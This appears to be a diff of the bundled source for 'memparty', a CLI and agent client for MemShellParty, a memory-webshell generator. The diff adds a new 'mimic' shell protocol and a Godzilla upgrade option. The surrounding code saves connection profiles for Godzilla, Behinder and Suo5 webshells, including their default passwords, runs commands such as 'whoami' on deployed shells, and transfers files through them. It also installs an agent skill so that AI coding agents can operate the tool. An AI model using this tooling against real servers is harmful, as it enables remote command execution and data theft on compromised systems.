- if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
5548
+ if (hasMultiplePackResults(response)) {
5549
+ if (opts.output !== void 0) {
5550
+ throw new Error(
5551
+ `-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
5552
+ );
5553
+ }
4693
5554
  for (const [name, value] of Object.entries(response.allPackResults)) {
4694
5555
  logInfo(`
4695
5556
  === ${name} ===`);
@@ -4698,10 +5559,7 @@ The server name reported by '-c Server' is the value to pass as
4698
5559
  }
4699
5560
  return;
4700
5561
  }
4701
- if (response.packResult === void 0) {
4702
- throw new Error("Server returned no packResult.");
4703
- }
4704
- const result = emitPayload(response.packResult, {
5562
+ const result = emitSinglePackResult(response, {
4705
5563
  outFile: opts.output,
4706
5564
  decode: opts.decode
4707
5565
  });
@@ -4794,7 +5652,7 @@ ${lines.join("\n")}
4794
5652
  }
4795
5653
 
4796
5654
  // src/commands/skill.ts
4797
- import { Command as Command7 } from "commander";
5655
+ import { Command as Command8 } from "commander";
4798
5656
 
4799
5657
  // src/core/skill-install.ts
4800
5658
  import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
@@ -4838,7 +5696,7 @@ function installSkill(scopes, opts = {}) {
4838
5696
  // src/commands/skill.ts
4839
5697
  function registerSkillCommand(program) {
4840
5698
  program.command("skill").description("Manage the bundled agent skill (skills/memshell-party)").addCommand(
4841
- new Command7("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
5699
+ new Command8("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
4842
5700
  "after",
4843
5701
  `
4844
5702
  The package ships skills/memshell-party/SKILL.md \u2014 the workflow guide that
@@ -4889,7 +5747,7 @@ Examples:
4889
5747
  }
4890
5748
 
4891
5749
  // src/commands/target.ts
4892
- import { Option as Option6 } from "commander";
5750
+ import { Option as Option7 } from "commander";
4893
5751
  function parseExtraHeaders3(lines) {
4894
5752
  const headers = {};
4895
5753
  for (const line of lines ?? []) {
@@ -4939,14 +5797,15 @@ function registerTargetCommand(program) {
4939
5797
  program.command("save").description(
4940
5798
  "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
4941
5799
  ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
4942
- new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
4943
- ).option("--pass <pass>", "password").option("--key <key>", "godzilla key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
5800
+ new Option7("-t, --tool <tool>", "shell tool").choices(protocolNames())
5801
+ ).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
4944
5802
  "after",
4945
5803
  `
4946
5804
  Examples:
4947
5805
  $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
4948
5806
  -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
4949
5807
  --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
5808
+ $ memparty save lab/mimic1 -u http://192.0.2.1/mimic -t mimic --profile acme
4950
5809
  $ memparty list # show saved targets
4951
5810
  $ memparty exec web1/bh9060 --cmd "whoami"
4952
5811
 
@@ -4964,7 +5823,10 @@ save is for choosing the name by hand.
4964
5823
  return;
4965
5824
  }
4966
5825
  if (!opts.tool) {
4967
- process.stderr.write("Error: --tool is required (godzilla | behinder | suo5)\n");
5826
+ process.stderr.write(
5827
+ `Error: --tool is required (available: ${protocolNames().join(", ")})
5828
+ `
5829
+ );
4968
5830
  process.exitCode = 1;
4969
5831
  return;
4970
5832
  }
@@ -4979,6 +5841,8 @@ save is for choosing the name by hand.
4979
5841
  headerName: opts.headerName,
4980
5842
  headerValue: opts.headerValue,
4981
5843
  extraHeaders: parseExtraHeaders3(opts.header),
5844
+ profile: opts.profile,
5845
+ upgradeProtocol: opts.upgradeProtocol,
4982
5846
  insecure: opts.insecure || void 0,
4983
5847
  remark: opts.shellRemark
4984
5848
  };
@@ -5086,7 +5950,7 @@ save is for choosing the name by hand.
5086
5950
 
5087
5951
  // src/commands/transfer.ts
5088
5952
  import { writeFileSync as writeFileSync6 } from "fs";
5089
- import { Option as Option7 } from "commander";
5953
+ import { Option as Option8 } from "commander";
5090
5954
  function parseExtraHeaders4(lines) {
5091
5955
  const headers = {};
5092
5956
  for (const line of lines ?? []) {
@@ -5109,7 +5973,8 @@ function resolveTransfer(name, opts, timeoutMs) {
5109
5973
  headerName: opts.headerName,
5110
5974
  headerValue: opts.headerValue,
5111
5975
  extraHeaders: parseExtraHeaders4(opts.header),
5112
- insecure: opts.insecure
5976
+ insecure: opts.insecure,
5977
+ upgradeProtocol: opts.upgradeProtocol
5113
5978
  });
5114
5979
  } catch (err) {
5115
5980
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -5123,7 +5988,8 @@ function resolveTransfer(name, opts, timeoutMs) {
5123
5988
  headerValue: conn.headerValue,
5124
5989
  extraHeaders: conn.extraHeaders,
5125
5990
  timeoutMs,
5126
- insecure: conn.insecure
5991
+ insecure: conn.insecure,
5992
+ upgradeProtocol: conn.upgradeProtocol
5127
5993
  }
5128
5994
  };
5129
5995
  }
@@ -5158,8 +6024,8 @@ function printResult(result, localPath, savedAs, json) {
5158
6024
  }
5159
6025
  function registerDownloadCommand(program) {
5160
6026
  program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
5161
- new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
5162
- ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
6027
+ new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
6028
+ ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
5163
6029
  "--remote-charset <label>",
5164
6030
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
5165
6031
  ).option(
@@ -5249,8 +6115,8 @@ is never overwritten unless --force is given.
5249
6115
  }
5250
6116
  function registerUploadCommand(program) {
5251
6117
  program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
5252
- new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
5253
- ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
6118
+ new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
6119
+ ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
5254
6120
  "--remote-charset <label>",
5255
6121
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
5256
6122
  ).option(
@@ -5466,7 +6332,7 @@ async function startRepl(build) {
5466
6332
 
5467
6333
  // src/cli.ts
5468
6334
  function buildProgram() {
5469
- const program = new Command11();
6335
+ const program = new Command12();
5470
6336
  program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
5471
6337
  "--api <url>",
5472
6338
  `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
@@ -5494,6 +6360,7 @@ Every subcommand has its own examples: memparty <command> --help
5494
6360
  registerGenCommand(program);
5495
6361
  registerProbeCommand(program);
5496
6362
  registerConfigCommand(program);
6363
+ registerBytecodeCommand(program);
5497
6364
  registerConnectCommand(program);
5498
6365
  registerExecCommand(program);
5499
6366
  registerDownloadCommand(program);